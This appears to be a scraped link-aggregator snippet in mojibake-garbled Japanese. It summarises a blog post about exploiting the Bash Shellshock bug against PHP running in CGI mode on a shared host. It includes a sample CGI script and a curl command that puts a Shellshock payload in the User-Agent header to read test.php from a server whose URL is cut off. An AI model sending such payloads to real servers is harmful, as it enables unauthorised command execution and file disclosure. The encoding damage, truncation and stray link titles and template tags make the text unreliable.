BASHã®è„†å¼±æ€§ã§CGIモードã§å‹•ã„ã¦ã‚‹PHPã«ã‚¢ãƒ¬ã•ã›ã¦ã¿ã¾ã—㟠- dogmap.jpタイトルã¯ãƒ‘クリ 元記事: BASHã®è„†å¼±æ€§ã§CGIスクリプトã«ã‚¢ãƒ¬ã•ã›ã¦ã¿ã¾ã—㟠– ブãƒã‚° – ãƒ¯ãƒ«ãƒ–ãƒªãƒƒã‚¯ã‚¹æ ªå¼ä¼šç¤¾ sakura ã®ãƒ¬ãƒ³ã‚¿ãƒ«ã‚µãƒ¼ãƒãŒ cgi モード㧠php å‹•ã‹ã—ã¦ã‚‹ã‚ˆãªãƒ¼ã¨æ€ã£ã¦ãƒ†ã‚¹ãƒˆã—ã¦ã¿ãŸã‚‰ã§ãã¾ã—ãŸã€‚ # テストスクリプトã¯å‰Šé™¤æ¸ˆã¿ã§ã™ã€‚ test.php test.sh #!/usr/local/bin/bash echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash" çµæžœ : Apache CGI版 PHP $ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokam
æ£è¦è¡¨ç¾ã«ã‚ˆã‚‹ãƒãƒªãƒ‡ãƒ¼ã‚·ãƒ§ãƒ³ã§ã¯ ^ 㨠$ ã§ã¯ãªã \A 㨠\z を使ãŠã†
PHPã®ã‚¤ã‚¿ã„入門書をèªã‚“ã§Ajaxã®XSSã«ã¤ã„ã¦æ¤œè¨Žã—ãŸ(3)～JSONç‰ã®æƒ³å®šå¤–èªã¿å‡ºã—ã«ã‚ˆã‚‹æ”»æ’ƒï½ž - ockeghem(徳丸浩)ã®æ—¥è¨˜
{{#tags}}- {{label}}
{{/tags}}